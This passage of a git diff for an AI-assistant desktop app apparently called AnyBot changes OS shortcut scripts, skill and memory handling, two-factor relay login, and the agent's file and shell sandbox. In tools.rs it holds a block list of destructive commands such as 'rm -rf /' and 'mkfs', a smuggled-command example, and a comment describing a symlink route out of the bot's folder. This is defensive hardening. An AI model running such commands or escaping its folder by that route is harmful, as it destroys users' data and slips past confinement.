+ ("wifi", "off") => on("networksetup -setairportpower en0 off", "nmcli radio wifi off 2>/dev/null || rfkill block wifi"), + ("lock", "") => on("pmset displaysleepnow", "loginctl lock-session 2>/dev/null || xset dpms force off"), + ("dark", "dark") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true'", "gsettings set org.gnome.desktop.interface color-scheme prefer-dark"), + ("dark", "light") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false'", "gsettings set org.gnome.desktop.interface color-scheme prefer-light"), + ("dark", "toggle") => on( + "osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)'", + "gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\"", ), - ("trash", "") => format!("{}osascript -e 'tell application \"Finder\" to empty trash' ;; rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\" ;; esac)", mac("")), - ("eject", "") => format!("{}osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)' ;; echo 只有 Mac 有這個捷徑 ;; esac)", mac("")), + ("trash", "") => on("osascript -e 'tell application \"Finder\" to empty trash'", "rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\""), + ("eject", "") => on("osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)'", "echo 只有 Mac 有這個捷徑"), (_, "") => return Err(format!("「{name}」不需要 arg。")), (_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))), }) @@ -198,10 +201,29 @@ mod tests { } #[test] - fn a_shortcut_runs_here_and_says_so() { - // This machine is Linux: volume goes through pactl/amixer; with neither in the - // sandbox the script still returns an honest sentence, never a panic. - let (text, _) = tool(&serde_json::json!({"intent_name": "lock"})).unwrap(); - assert!(text.starts_with("捷徑 lock"), "{text}"); + fn every_script_is_a_script_the_shell_can_read() { + // Parsed, never run (`sh -n`): running one here would lock the screen or change the + // volume of whoever runs the tests. The test that ran `lock` passed for the wrong + // reason — every script was a syntax error, and the failure sentence starts with the + // same words as the success one. + if cfg!(target_os = "windows") { + return; + } + let all = [ + ("volume", "up"), ("volume", "down"), ("volume", "mute"), ("volume", "unmute"), ("volume", "set 40"), ("volume", "40"), + ("wifi", "on"), ("wifi", "off"), ("lock", ""), ("dark", "dark"), ("dark", "light"), ("dark", "toggle"), ("trash", ""), ("eject", ""), + ]; + for (name, arg) in all { + let sh = script(name, arg).unwrap(); + let out = std::process::Command::new("/bin/sh").arg("-n").arg("-c").arg(&sh).output().unwrap(); + assert!(out.status.success(), "{name} {arg}: {}\n{sh}", String::from_utf8_lossy(&out.stderr)); + // Each system gets its own command, in its own branch. + let (mac, linux) = sh.split_once(" ;; Linux) ").unwrap(); + assert!(mac.starts_with("case \"$(uname -s)\" in Darwin) ") && mac.len() > 40 && linux.ends_with(" ;; esac") && linux.len() > 20, "{sh}"); + } + // Every registered shortcut is covered above. + for i in INTENTS { + assert!(all.iter().any(|(n, _)| *n == i.name), "{}", i.name); + } } } diff --git a/src/memory.rs b/src/memory.rs index c4809e3..03a20bb 100644 --- a/src/memory.rs +++ b/src/memory.rs @@ -54,9 +54,24 @@ pub const TEMPLATES: [Template; 5] = [ /// as the body, and an optional ```steps fence (the ReplayStep list a replay follows). pub fn skill_dir() -> std::path::PathBuf { + // Tests never touch the person's data folder. + if cfg!(test) { + return crate::oplog::dir().join("skills"); + } + crate::model::State::path().parent().map(|p| p.join("skills")).unwrap_or_else(old_skill_dir) +} + +/// Where skill files were kept before (inside the work log's folder, which no document +/// mentioned): still read, so a skill installed then is not lost. +fn old_skill_dir() -> std::path::PathBuf { crate::oplog::dir().join("skills") } +fn skill_dirs() -> Vec { + let (old, new) = (old_skill_dir(), skill_dir()); + if old == new { vec![new] } else { vec![old, new] } +} + fn slug_of(name: &str) -> String { let mut o: String = name .chars() @@ -97,11 +112,12 @@ pub fn parse_skill_file(text: &str) -> Option { description = v.trim().to_string(); } } - rest = body[end + 3..].trim_start_matches('\n'); + // "\n---" is four bytes (three left the last dash at the head of the instructions). + rest = body[end + 4..].trim_start_matches('\n'); } } let mut steps: Vec = vec![]; - let mut instructions = rest.to_string(); + let mut instructions = rest.trim().to_string(); if let Some(start) = rest.find("```steps") { if let Some(close) = rest[start..].find("```") { // close is at the fence start inside rest[start..]; find the *second* fence @@ -127,24 +143,37 @@ pub fn install_skill_text(text: &str) -> Result { Ok(s.name) } -pub fn load_skill_files() -> Vec { +/// Every skill file with the skill in it (the old folder first: the same name in `skill_dir` +/// is the newer one and wins the merge). +fn skill_files() -> Vec<(std::path::PathBuf, Skill)> { let mut out = vec![]; - if let Ok(rd) = std::fs::read_dir(skill_dir()) { - for f in rd.flatten() { + for dir in skill_dirs() { + let mut here = vec![]; + for f in std::fs::read_dir(dir).into_iter().flatten().flatten() { let p = f.path(); if p.extension().and_then(|e| e.to_str()) == Some("md") { - if let Ok(text) = std::fs::read_to_string(&p) { - if let Some(s) = parse_skill_file(&text) { - out.push(s); - } + if let Some(s) = std::fs::read_to_string(&p).ok().and_then(|text| parse_skill_file(&text)) { + here.push((p, s)); } } } + here.sort_by(|a, b| a.1.name.cmp(&b.1.name)); + out.extend(here); } - out.sort_by(|a, b| a.name.cmp(&b.name)); out } +pub fn load_skill_files() -> Vec { + skill_files().into_iter().map(|(_, s)| s).collect() +} + +/// Take a deleted skill's files off the shelf, whatever they are called (a file left there +/// brought the skill back at the next start). Returns how many went. +pub fn remove_skill_files(name: &str) -> usize { + let name = name.trim(); + skill_files().into_iter().filter(|(p, s)| s.name == name && std::fs::remove_file(p).is_ok()).count() +} + /// Files win: a skill file replaces the same-named skill in the bot's head at every start. pub fn merge_skill_files(skills: &mut Vec) -> usize { let mut n = 0; @@ -240,13 +269,14 @@ pub fn remember(list: &mut Vec, fact: &str) -> Result { Ok(format!("記住了:{f}")) } -/// Forget by number (1-based) or by text it contains. +/// Forget by the memory's own words, by its number in the whole list (1-based: the list in +/// the settings, never the few lines a prompt carries), or by text it contains. pub fn forget(list: &mut Vec, what: &str) -> Result { let w = what.trim(); - let idx = match w.parse::() { + let idx = list.iter().position(|m| !w.is_empty() && m == w).or_else(|| match w.parse::() { Ok(n) if n >= 1 && n <= list.len() => Some(n - 1), _ => list.iter().position(|m| !w.is_empty() && m.contains(w)), - }; + }); match idx { Some(i) => Ok(format!("忘記了:{}", list.remove(i))), None => Err(format!("沒有記得「{w}」這件事")), @@ -442,9 +472,11 @@ pub fn recall(bot: u64, query: &str, list: &[String], limit: usize) -> Vec String { let mut s = String::new(); if !memories.is_empty() { - s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增、forget 刪除):\n"); - for (i, m) in memories.iter().enumerate() { - s.push_str(&format!("{}. {m}\n", i + 1)); + // No numbers: these are a few lines of the list, and a number here would be another + // memory's place in the whole list (forget would take the wrong one). + s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增;要刪除時把那一條的文字交給 forget):\n"); + for m in memories { + s.push_str(&format!("- {m}\n")); } } else { s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。"); @@ -521,7 +553,14 @@ mod tests { assert_eq!(m.len(), MAX_MEMORIES); assert_eq!(m[0], "事 5"); let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]); - assert!(p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill")); + assert!(p.contains("- 事 5\n") && !p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill")); + // A memory that is itself a number is forgotten by its words, not as a place in the list. + let mut m = vec!["甲".to_string(), "2".to_string(), "丙".to_string(), "乙".to_string()]; + assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:2"); + assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:丙"); + // The whole line wins over a line that merely contains it. + let mut m = vec!["不喝咖啡因".to_string(), "咖啡".to_string()]; + assert_eq!(forget(&mut m, "咖啡").unwrap(), "忘記了:咖啡"); } fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall { @@ -613,6 +652,15 @@ mod tests { let back = parse_skill_file(&text).unwrap(); assert_eq!(back.name, "每日打卡"); assert_eq!(back.steps, sk.steps); + // The words come back as written, with or without a steps block after them. + assert_eq!((back.description.as_str(), back.instructions.as_str()), ("在下載資料夾記一天", "打開終端機記個日期")); + let plain = parse_skill_file(&skill_to_file(&Skill { steps: vec![], ..sk.clone() })).unwrap(); + assert_eq!(plain.instructions, "打開終端機記個日期"); + // The example files in the repo read cleanly too. + for f in std::fs::read_dir(concat!(env!("CARGO_MANIFEST_DIR"), "/skills")).unwrap().flatten() { + let s = parse_skill_file(&std::fs::read_to_string(f.path()).unwrap()).unwrap(); + assert!(!s.instructions.is_empty() && !s.instructions.starts_with('-'), "{:?}: {}", f.path(), s.instructions); + } assert!(parse_skill_file("no front matter at all").is_none()); } diff --git a/src/model.rs b/src/model.rs index 5ed806f..830c867 100644 --- a/src/model.rs +++ b/src/model.rs @@ -259,6 +259,55 @@ pub fn default_computer() -> String { pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)"; impl Bot { + /// 「儲存」 in the bot's settings: what the person changed there (`edited`, against `from` + /// — the bot as the editor opened it) is put onto the bot as it is now. Everything else + /// stays as it is now: a turn running meanwhile gave it messages, things to remember, + /// 「永遠允許」 rules, a routine, a conversation put aside. (The editor's copy used to replace + /// the bot whole, messages aside, and all of that was gone with the save.) + /// In a list of plain values (記得的事, 永遠允許, 群組成員) what was taken out goes and what + /// was added comes; the rest of the list is as it is now. + pub fn take_edit(&mut self, mut from: Bot, mut edited: Bot) { + use serde_json::Value; + let messages = std::mem::take(&mut self.messages); + from.messages.clear(); + edited.messages.clear(); + let fields = |b: &Bot| serde_json::to_value(b).ok().and_then(|v| v.as_object().cloned()); + let merged = (|| { + let (mut now, from, edited) = (fields(self)?, fields(&from)?, fields(&edited)?); + let plain = |v: &Value| v.as_array().is_some_and(|a| a.iter().all(|x| x.is_string() || x.is_number())); + let keys: std::collections::BTreeSet<&String> = from.keys().chain(edited.keys()).collect(); + for k in keys { + let (was, is) = (from.get(k), edited.get(k)); + if was == is { + continue; + } + match (was, is, now.get(k)) { + (Some(was), Some(is), Some(cur)) if plain(was) && plain(is) && plain(cur) => { + let (was, is) = (was.as_array().cloned().unwrap_or_default(), is.as_array().cloned().unwrap_or_default()); + let mut list: Vec = cur.as_array().cloned().unwrap_or_default(); + list.retain(|x| !was.contains(x) || is.contains(x)); + for x in is.iter().filter(|x| !was.contains(x)) { + if !list.contains(x) { + list.push(x.clone()); + } + } + now.insert(k.clone(), Value::Array(list)); + } + (_, Some(is), _) => { + now.insert(k.clone(), is.clone()); + } + // (A field left out when it is empty: emptied in the editor.) + (_, None, _) => { + now.remove(k); + } + } + } + serde_json::from_value::(Value::Object(now)).ok() + })(); + *self = merged.unwrap_or(edited); + self.messages = messages; + } + /// A turn that was still running when the app closed can't continue: mark its empty /// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat /// can be retried instead of looking stuck. @@ -455,6 +504,9 @@ impl State { } } +/// The save on disk couldn't be read at start and couldn't be moved aside: never write over it. +static KEEP_UNREAD_SAVE: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false); + impl State { pub fn path() -> PathBuf { // A server (or a second copy for testing) can keep its data elsewhere. @@ -468,17 +520,36 @@ impl State { } pub fn load() -> State { - let p = Self::path(); - let raw = std::fs::read_to_string(&p); + Self::load_from(&Self::path()) + } + + fn load_from(p: &std::path::Path) -> State { + let raw = std::fs::read_to_string(p); let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::(s).ok()); let mut s = match parsed { Some(s) => s, None => { - // A damaged save must not vanish quietly: keep the bytes (so the person can - // recover them), then start fresh. Silently wiping left no trace before. - if let Ok(raw) = raw.as_ref() { - let damaged = p.with_extension(format!("json.damaged-{}", chrono::Utc::now().timestamp())); - let _ = std::fs::write(&damaged, raw); + let stamp = chrono::Utc::now().timestamp(); + match raw.as_ref() { + // A damaged save must not vanish quietly: keep the bytes (so the person can + // recover them), then start fresh. Silently wiping left no trace before. + Ok(raw) => { + let damaged = p.with_extension(format!("json.damaged-{stamp}")); + let _ = std::fs::write(&damaged, raw); + } + // No save yet: a first run. + Err(e) if e.kind() == std::io::ErrorKind::NotFound => {} + // A save that is there but can't be read (its permissions, a disk error, + // bytes that aren't text) is no first run: the next save would have written + // an empty AnyBot over it. It is moved aside whole, and if even that fails + // nothing is saved over it this run. + Err(e) => { + let aside = p.with_extension(format!("json.unreadable-{stamp}")); + eprintln!("AnyBot:讀不到 {}({e})。原檔會留著,不會被新的設定蓋掉。", p.display()); + if std::fs::rename(p, &aside).is_err() { + KEEP_UNREAD_SAVE.store(true, std::sync::atomic::Ordering::SeqCst); + } + } } State::first_run() } @@ -494,6 +565,10 @@ impl State { /// Write everything to disk; true once it is there. pub fn save(&self) -> bool { let p = Self::path(); + // (The save that couldn't be read at start, nor moved aside, is still there.) + if KEEP_UNREAD_SAVE.load(std::sync::atomic::Ordering::SeqCst) && p.exists() { + return false; + } if let Some(dir) = p.parent() { let _ = std::fs::create_dir_all(dir); } @@ -812,6 +887,43 @@ pub fn bot_computer_dir(bot_id: u64) -> PathBuf { mod start_tests { use super::*; + /// 「儲存」 in a bot's settings puts on the bot what the person changed there, and leaves + /// what the bot got while the settings were open. + #[test] + fn saving_a_bots_settings_keeps_what_it_got_meanwhile() { + let mut bot = State::samples().bots.remove(0); + bot.memories = vec!["喜歡靠窗".into(), "住台南".into()]; + bot.allow_rules = vec!["edit_file".into()]; + bot.messages = vec![Message::user("嗨")]; + bot.voice.clear(); + let from = bot.clone(); + // In the editor: a new name, one memory forgotten, a voice picked. + let mut edited = from.clone(); + edited.name = "新名字".into(); + edited.memories.retain(|m| m != "喜歡靠窗"); + edited.voice = "Meijia".into(); + // Meanwhile, in the chat: an answer, something remembered, 「永遠允許」, a conversation + // put aside, a folder to work in. + bot.messages.push(Message::assistant("你好", "x")); + bot.memories.push("咖啡不加糖".into()); + bot.allow_rules.push("shell:git".into()); + bot.threads.push(("舊對話".into(), vec![Message::user("之前")])); + bot.workdir = "/tmp/work".into(); + bot.tools_enabled = !from.tools_enabled; + bot.take_edit(from.clone(), edited); + assert_eq!((bot.name.as_str(), bot.voice.as_str()), ("新名字", "Meijia")); + assert_eq!(bot.memories, vec!["住台南".to_string(), "咖啡不加糖".to_string()]); + assert_eq!(bot.allow_rules, vec!["edit_file".to_string(), "shell:git".to_string()]); + assert_eq!((bot.messages.len(), bot.threads.len(), bot.workdir.as_str()), (2, 1, "/tmp/work")); + assert_eq!(bot.tools_enabled, !from.tools_enabled); + // A field emptied in the editor is emptied (it is left out of the file when empty). + let from = bot.clone(); + let mut edited = bot.clone(); + edited.voice.clear(); + bot.take_edit(from, edited); + assert_eq!(bot.voice, ""); + } + /// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's /// view starts at the newest one. #[test] @@ -876,4 +988,34 @@ mod start_tests { let ids: std::collections::HashSet = here.bots.iter().map(|b| b.id).collect(); assert_eq!(ids.len(), here.bots.len()); } + + /// A save that is there but can't be read is kept, not taken for a first run (the next save + /// wrote a fresh AnyBot over it). + #[test] + fn a_save_that_cannot_be_read_is_kept() { + let d = std::env::temp_dir().join(format!("anybot-load-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&d); + std::fs::create_dir_all(&d).unwrap(); + let p = d.join("state.json"); + let kept = |mark: &str| std::fs::read_dir(&d).unwrap().flatten().map(|e| e.path()).find(|f| f.to_string_lossy().contains(mark)); + // No save at all: a first run, and nothing is set aside. + State::load_from(&p); + assert_eq!(std::fs::read_dir(&d).unwrap().count(), 0); + // Bytes that aren't text (a disk gone wrong): moved aside whole. + let bytes = [0xff, 0xfe, 0x00, 0x41, 0xff]; + std::fs::write(&p, bytes).unwrap(); + State::load_from(&p); + assert!(!p.exists()); + assert_eq!(std::fs::read(kept("unreadable").unwrap()).unwrap(), bytes); + // Text that isn't a save: a copy is kept, as before. + std::fs::write(&p, "{ not json").unwrap(); + State::load_from(&p); + assert_eq!(std::fs::read_to_string(kept("damaged").unwrap()).unwrap(), "{ not json"); + // A good save loads. + let mut s = State::samples(); + s.bots[0].name = "留著的".into(); + std::fs::write(&p, serde_json::to_string(&s).unwrap()).unwrap(); + assert_eq!(State::load_from(&p).bots[0].name, "留著的"); + let _ = std::fs::remove_dir_all(&d); + } } diff --git a/src/preview.rs b/src/preview.rs index 62e2ceb..c766d85 100644 --- a/src/preview.rs +++ b/src/preview.rs @@ -113,6 +113,37 @@ pub fn system_open(target: impl AsRef) -> std::process::Command c } +/// Opening this file would run it (or install it) instead of showing it: scripts Terminal +/// starts on a double click, apps, installers, shortcuts that point at something else. A bot +/// may show the person what it made; it may not have their computer run what it made — that +/// is the shell's job, with the shell's questions. +pub fn runs_when_opened(p: &Path) -> bool { + const RUNS: [&str; 15] = ["command", "tool", "app", "terminal", "pkg", "mpkg", "jar", "workflow", "prefpane", "saver", "inetloc", "fileloc", "desktop", "appimage", "run"]; + const RUNS_ON_WINDOWS: [&str; 17] = ["exe", "bat", "cmd", "com", "msi", "lnk", "ps1", "vbs", "vbe", "js", "jse", "wsf", "hta", "scr", "pif", "reg", "url"]; + // What an executable bit doesn't turn into a program: the system opens these by their kind. + const SHOWN: [&str; 38] = [ + "html", "htm", "pdf", "png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "tiff", "heic", "txt", "md", "csv", "tsv", "json", "xml", "yaml", "yml", "log", "rtf", "doc", "docx", "xls", "xlsx", + "ppt", "pptx", "pages", "numbers", "key", "mp3", "m4a", "wav", "mp4", "mov", "webm", "zip", + ]; + let ext = p.extension().map(|e| e.to_string_lossy().to_lowercase()).unwrap_or_default(); + if RUNS.contains(&ext.as_str()) || (cfg!(target_os = "windows") && RUNS_ON_WINDOWS.contains(&ext.as_str())) { + return true; + } + // A file marked executable that isn't a known kind of document opens in Terminal and runs. + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + if let Ok(m) = std::fs::metadata(p) { + if m.is_file() && m.permissions().mode() & 0o111 != 0 && !SHOWN.contains(&ext.as_str()) { + return true; + } + } + } + #[cfg(not(unix))] + let _ = SHOWN; + false +} + pub fn open_with_system(target: &str) { let mut c = system_open(target); if let Err(e) = crate::computer::spawn_reaped(&mut c) { @@ -723,6 +754,39 @@ mod tests { let _ = std::fs::remove_dir_all(&dir); } + #[test] + fn showing_a_file_is_not_running_it() { + let dir = std::env::temp_dir().join(format!("anybot-opens-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(dir.join("Thing.app")).unwrap(); + let file = |name: &str, executable: bool| { + let p = dir.join(name); + std::fs::write(&p, "#!/bin/sh\necho hi\n").unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(if executable { 0o755 } else { 0o644 })).unwrap(); + } + let _ = executable; + p + }; + // What Terminal, the Finder or an installer would start. + for name in ["run.command", "RUN.COMMAND", "setup.pkg", "tool.jar", "x.terminal", "go.desktop"] { + assert!(runs_when_opened(&file(name, false)), "{name}"); + } + assert!(runs_when_opened(&dir.join("Thing.app"))); + // What is only shown, executable bit or not (some disks mark every file executable). + for name in ["report.html", "chart.png", "notes.md", "data.xlsx"] { + assert!(!runs_when_opened(&file(name, false)) && !runs_when_opened(&file(name, true)), "{name}"); + } + assert!(!runs_when_opened(&dir), "a plain folder opens in the file manager"); + assert!(!runs_when_opened(&file("script.sh", false)) && !runs_when_opened(&file("LICENSE", false))); + // An executable that isn't a document runs in Terminal when opened. + #[cfg(unix)] + assert!(runs_when_opened(&file("deploy", true)) && runs_when_opened(&file("script.sh", true))); + let _ = std::fs::remove_dir_all(&dir); + } + /// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`. #[test] #[ignore] diff --git a/src/remote.rs b/src/remote.rs index 01c5410..86abc03 100644 --- a/src/remote.rs +++ b/src/remote.rs @@ -1106,9 +1106,34 @@ fn base(url: &str) -> String { url.trim().trim_end_matches('/').to_string() } +/// How the refusal starts when the account has 兩步驗證 on and no code came with the password +/// (the forms look for it to show their 驗證碼 field). +pub const NEED_CODE: &str = "這個帳號開了兩步驗證"; + +/// Sign in as the person: the password, then — when the account has 兩步驗證 on — the code of +/// their authenticator app (or one of the recovery codes). Gives the session. +/// (The answer to a right password is then a challenge, not a session: read as a session, it +/// was 「帳號伺服器沒有給登入憑證」, and an account with 兩步驗證 could not sign a computer in +/// or fetch its backup at all.) +fn relay_login(url: &str, user: &str, password: &str, device: &str, code: &str) -> Result { + let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": device}))?; + if let Some(t) = v["token"].as_str().filter(|t| !t.is_empty()) { + return Ok(t.to_string()); + } + if v["need_2fa"].as_bool() != Some(true) { + return Err("帳號伺服器沒有給登入憑證".into()); + } + let code = code.trim(); + if code.is_empty() { + return Err(format!("{NEED_CODE}:還要驗證器 App 現在的六位碼(或一組恢復碼)。")); + } + let v = relay_post(&format!("{url}/relay/2fa/verify"), "", &json!({"challenge": v["challenge"], "code": code}))?; + v["token"].as_str().filter(|t| !t.is_empty()).map(String::from).ok_or_else(|| "帳號伺服器沒有給登入憑證".to_string()) +} + /// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts. -/// Returns the settings to keep. -pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str) -> Result { +/// Returns the settings to keep. `code`: the 兩步驗證 code, for an account that has it on. +pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str, code: &str) -> Result { // The relay signs people in by the trimmed, lowered name; the backup key must be derived // from exactly the same string, or two computers signing in as "Dan" and "dan" get keys // that cannot open each other's backups. @@ -1136,8 +1161,7 @@ pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &st } } } - let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": host_name}))?; - let session = v["token"].as_str().ok_or("帳號伺服器沒有給登入憑證")?.to_string(); + let session = relay_login(&url, user, password, host_name, code)?; let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?; // The desktop doesn't need to stay signed in as a person; only the host key is kept. let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({})); @@ -1265,13 +1289,12 @@ pub fn backup_now(s: &Settings, state_json: &[u8]) -> Result { } /// Download and open the newest backup of this account (for a new computer). -pub fn restore(url: &str, user: &str, password: &str) -> Result, String> { +pub fn restore(url: &str, user: &str, password: &str, code: &str) -> Result, String> { // Same name shape the relay (and relay_join) use for the backup key. let user = user.trim().to_lowercase(); let user = user.as_str(); let url = base(url); - let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": "還原備份"}))?; - let session = v["token"].as_str().unwrap_or("").to_string(); + let session = relay_login(&url, user, password, "還原備份", code)?; let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?; let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({})); if resp.status().as_u16() == 404 { @@ -1447,6 +1470,7 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result Result>, } -pub fn find_account_bots(s: &Settings, password: &str) -> AccountFind { +pub fn find_account_bots(s: &Settings, password: &str, code: &str) -> AccountFind { let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id)); - let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password).ok() } else { None }; + let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password, code).ok() } else { None }; AccountFind { brain, backup } } @@ -1832,13 +1862,13 @@ mod account_sync_live { let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL"); let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123"); // The first computer signs up and backs up its bots. - let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "").unwrap(); + let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "", "").unwrap(); let mut st = crate::model::State::samples(); st.remote = Default::default(); backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap(); // A new computer signs in: no other brain is on, so the backup is what it takes in. - let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "").unwrap(); - let found = find_account_bots(&b, pw); + let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "", "").unwrap(); + let found = find_account_bots(&b, pw, ""); assert!(found.brain.is_none()); let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap(); let mut here = crate::model::State::first_run(); diff --git a/src/setup.rs b/src/setup.rs index 3894d2d..68f952c 100644 --- a/src/setup.rs +++ b/src/setup.rs @@ -550,7 +550,8 @@ fn brain_of(s: &Settings) -> Option { /// Sign in with the password; the brain is picked when there is only one to pick. fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option, Vec), String> { let url = remote::check_server(url)?; - let s = remote::relay_join(base, &url, user, pass, false, "")?; + // (No field for a 兩步驗證 code on these pages: the pairing code is the way in then.) + let s = remote::relay_join(base, &url, user, pass, false, "", "").map_err(|e| if e.starts_with(remote::NEED_CODE) { format!("{e}這裡請改用配對碼:在手機或電腦的 AnyBot 按「加一台電腦」。") } else { e })?; let list = list_brains(&s).unwrap_or_default(); let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect(); let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None }; diff --git a/src/tools.rs b/src/tools.rs index 247307c..4a7f386 100644 --- a/src/tools.rs +++ b/src/tools.rs @@ -174,6 +174,37 @@ fn inside(workdir: &Path, p: &Path) -> bool { p.starts_with(workdir) } +/// Where a path really leads, links followed — also for a file that isn't there yet (its +/// folder's real place, plus its name) and for a link to something that isn't there yet (what +/// would be made by writing to it). +fn real_of(p: &Path) -> PathBuf { + fn steps(p: &Path, links: usize) -> PathBuf { + if let Ok(real) = std::fs::canonicalize(p) { + return real; + } + if links < 16 { + if let Ok(to) = std::fs::read_link(p) { + let to = if to.is_absolute() { to } else { p.parent().unwrap_or(Path::new("/")).join(to) }; + return steps(&resolve(Path::new("/"), &to.to_string_lossy()), links + 1); + } + } + match (p.parent(), p.file_name()) { + (Some(parent), Some(name)) if parent != p => steps(parent, links).join(name), + _ => p.to_path_buf(), + } + } + steps(p, 0) +} + +/// The file is in the folder — the real file, in the real folder. How the path is spelled is +/// not enough: a link inside the folder that points out of it is a way out. (A command the +/// sandbox keeps inside the folder can still make such a link; reading or editing "through" +/// it then reached any file of the person's, with no question — from the bot's sealed folder +/// too.) +fn within(folder: &Path, p: &Path) -> bool { + inside(&real_of(folder), &real_of(p)) +} + /// Files a bot never reads or writes: secrets and version-control internals /// (the original blocks reads/writes by ignore files and repo-block globs), /// plus this app's own data folder, where API keys are saved. @@ -208,47 +239,200 @@ const READ_ONLY_COMMANDS: [&str; 24] = [ /// Always refused. const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"]; -/// Split `a && b | c; d` into its commands, keeping quoted text together. -/// Returns None when the command hides other commands ($(), backticks, eval). -pub fn split_commands(cmd: &str) -> Option> { - let mut parts = vec![]; +/// One command of a chain. `hidden`: it carries commands the rules can't read ($(…), backticks, +/// <(…), eval…), so being a "looking" command says nothing about what it runs. +struct Piece { + text: String, + hidden: bool, +} + +/// Split `a && b | c; d` where the shell itself would: at the separators outside quotes and +/// outside $(…) and backticks. None when a quote or a substitution never closes (nothing in +/// such a command can be read for sure). +/// +/// A backslash makes the next character plain text, as it does for the shell: `\"` opens no +/// quote and `\;` ends no command. Without that, `echo \"; rm -rf x; echo \"` read as one +/// harmless `echo`. +fn split_shell(cmd: &str) -> Option> { + #[derive(PartialEq)] + enum In { + Double, + Paren, + Tick, + } + fn close(cur: &mut String, hidden: &mut bool, pieces: &mut Vec) { + let text = cur.trim().to_string(); + if !text.is_empty() { + let first = text.split_whitespace().next().unwrap_or(""); + let runs_words = matches!(first, "eval" | "exec" | "source" | "."); + pieces.push(Piece { text, hidden: *hidden || runs_words }); + } + cur.clear(); + *hidden = false; + } + let mut pieces = vec![]; let mut cur = String::new(); - let (mut sq, mut dq) = (false, false); + let mut hidden = false; + let mut single = false; + let mut stack: Vec = vec![]; let chars: Vec = cmd.chars().collect(); let mut i = 0; while i < chars.len() { let c = chars[i]; let next = chars.get(i + 1).copied(); - if c == '\'' && !dq { - sq = !sq; - } else if c == '"' && !sq { - dq = !dq; - } else if !sq && (c == '`' || (c == '$' && next == Some('('))) { - return None; - } else if !sq && !dq && (c == ';' || c == '\n' || c == '|' || c == '&') { - if !cur.trim().is_empty() { - parts.push(cur.trim().to_string()); - } - cur.clear(); - if (c == '|' || c == '&') && next == Some(c) { + if single { + single = c != '\''; + cur.push(c); + i += 1; + continue; + } + if c == '\\' { + cur.push(c); + if let Some(n) = next { + cur.push(n); i += 1; } i += 1; continue; } + let in_double = stack.last() == Some(&In::Double); + match c { + '"' if in_double => { + stack.pop(); + } + '"' => stack.push(In::Double), + 